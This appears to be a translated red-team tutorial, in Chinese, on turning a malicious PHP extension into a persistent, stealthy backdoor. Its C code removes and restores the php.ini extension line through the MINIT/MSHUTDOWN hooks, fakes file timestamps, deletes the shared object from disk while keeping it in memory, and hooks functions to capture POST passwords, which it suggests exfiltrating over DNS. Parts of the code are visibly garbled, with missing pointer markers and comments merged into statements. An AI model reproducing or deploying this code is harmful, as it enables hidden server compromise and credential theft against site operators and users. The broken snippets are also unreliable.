修改PHP扩展作为持久后门

1.如何减少tracks

2.连接PHP函数并从Red Team中提取有用信息

3.拦截GET / POST参数PS：示例在PHP 7环境中进行测试（PHP 5和PHP 7 API内部之间有变化）

0×00 简介

1.如果在PHP中添加PHP扩展，PHP解释器将在启动时加载PHP.ini文件（extension = path / to / our / extension）

2.在PHP扩展中，我们主要关注4个hooks：MINIT＆MSHUTDOWN，以及RINIT和RSHUTDOWN。当解释器启动和停止时，M 以root身份执行（通常）。R 在作为服务器用户执行。

3.我们可以从请求中读取HTTP头并触发任何操作（例如，执行命令或启动反向shell）。为了保持对受感染服务器的访问，PHP扩展是一个非常好的选择。我们可以使用合法的HTTP请求与这种后门进行交互（如推荐文章中所示），因为防火墙和网络规则无法检测到我们。但是想要加载我们的扩展，我们就需要修改php.ini文件重新加载配置。如果未恢复php.ini，那么其大小，哈希和时间戳将不同，操作将公开，蓝队获胜，我们输了。当然，php.ini修改应该会被文件完整性检查器立即检测到，但实际上SOCs往往忽略这种警报

0×01 php.ini未被修改

我们知道当我们修改了php.ini时会生成一个警报。可是如果当有人SSH连接到服务器，对php.ini进行cat操作，我什么也看不见。进行ls操作，时间戳也是好的。重新启动服务器只是为了再次检查没有发生任何奇怪的事情。我们的后门还活着。这是为什么?

当加载我们的PHP扩展时，我们不需要在php.ini文件中保留“extesion = path/to/our.so”这一行。我们可以程序化地将其恢复到原始状态。利用MINIT  hook，我们可以删除添加到php.ini的行，所以当加载扩展时，这个hook将以root（通常）触发，我们可以编辑php.ini文件而不会出现问题。同样，我们可以使用MSHUTDOWN插入一段代码，用于再次将行添加到php.ini中，因此当服务器重新启动时，将再次添加“extension = ...”行。当加载扩展时，将执行MINIT并关闭cicle。使用这种方法，php.ini文件在大部分时间内都不会显示任何奇怪的内容。泛型函数可以表示如下：

 / This code sucks int modifyExtension(int action) {
    char source = NULL;
    char needle = NULL;
    FILE fp;
    size_t newSize;
    fp = fopen(PHPINI, "a+");
    if (fp != NULL) {
        if (action == 1) {
            if (fseek(fp, 0L, SEEK_END) == 0) {
                long bufsize = ftell(fp); // FileSize                 if (bufsize == -1) {
                    return -1;
                }
                source = malloc(sizeof(char )  (bufsize + 1)); // Alloc memory to read php.ini                 if (fseek(fp, 0L, SEEK_SET) != 0) {
                    return -1;
                    free(source);
                }
                newSize = fread(source, sizeof(char), bufsize, fp);
                if (ferror(fp) != 0) {
                    return -1;
                    free(source);
                }           
                else {
                    source[newSize++] = '\0';
                    needle = strstr(source, LOCATION);
                    if (needle != 0) {
                        FILE tmp = fopen("/tmp/.tmpini", "w");
                        fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")                         fclose(tmp);
                        rename("/tmp/.tmpini", PHPINI);
                    }
                }
                free(source);
            }
            fclose(fp);
        }
        if (action == 0) {
            fwrite("\nextension=", 11, 1, fp);
            fwrite(LOCATION, strlen(LOCATION), 1, fp);
            fclose(fp);
            fprintf(stderr, "[+] Extension added to PHP.INI\n");
        }
    }
    else {
        return -1;
    }
    return 1;
} 

这种策略的对应部分是，如果服务器以意外方式被kill，则不会执行`MSHUTDOWN hook`。另一方面，时间戳将被修改，因此我们也需要牢记这一点：

#define PHPINI "/u/know/that/php.ini" ...
struct stat st;
stat(PHPINI, &st);
...// Do changes new_time.actime = st.st_atime;
new_time.modtime = st.st_mtime;
utime(PHPINI, &new_time); 

0×02 第二步

我们介绍了如何恢复php.ini，但是如果我们需要删除和恢复后门本身（共享对象），由于我们正在以用户级别工作（如果我们使用rootkit – 例如一个简单的LKM-我们可以隐藏它）。在加载扩展程序时，我们可以轻松地将其内容保存在内存中，然后删除该文件。就像是：

//Simple PoC PHP_MINIT_FUNCTION(PoC)
{
    //Executed when the module is loaded     // Privilege: root (usually)     int fd, check;
    struct utimbuf new_time;
    fprintf(stderr, "[+] LOADED\n");
    //1) Calculate size of the file     struct stat st;
    if (stat(LOCATION, &st) == -1) {
        return SUCCESS;
    }
    filesize = st.st_size;
    //2) Open the file      fd = open(LOCATION, O_RDONLY, 0);
    if (fd == -1) {
        return SUCCESS;
    }
    //3) Map file to memory     mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);
    close(fd);
    
    //4) Delete file     remove(LOCATION);
    
    //5) Get timestamp     stat(PHPINI, &st);
    //6) Modify php.ini and delete the extension line     check = modifyExtension(1);
    if (check == -1) {
        fprintf(stderr, "[+] PHP.INI could not be edited\n");
    }
    else {
        fprintf(stderr, "[+] PHP.INI edited\n");
    }
    //7) Fake timestamp     new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;
    utime(PHPINI, &new_time);
... 

下一步是使用MSHUTDOWN hook将共享对象从内存写入文件：

PHP_MSHUTDOWN_FUNCTION(Allocer)
{
    // We write the file again, edit php.ini and fake the timestamp     if (mapedFile == MAP_FAILED) {
        return SUCCESS;
    }
    
    int check;
    FILE *fp;
    struct utimbuf new_time;
    struct stat st;
    fp = fopen(LOCATION, "w");
    fwrite(mapedFile, 1, filesize, fp);
    fclose(fp);
    munmap(mapedFile, filesize);
    stat(PHPINI, &st);
    new_time.actime = st.st_atime;
    new_time.modtime = st.st_mtime;    
    
    check = modifyExtension(0);
    utime(PHPINI, &new_time);
    return SUCCESS;
} 

0×03 第三步

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  sudo /usr/local/bin/php  -r "echo md5('kk');" [+] LOADED
[+] PHP.INI edited
[+] Hook called
[+] MD5 Called with parameter: kk% 

0×04嗅探参数

mothra@arcadia:~/php-7.2.8/ext/Allocer| 
⇒  curl localhost:8888/k.php --data "pass=s0S3cur3" Password: s0S3cur3 

现在，这个密码可以保存在文件中，或者只是通过DNS发送给我们所拥有的DNS服务器。

0×05 最后的话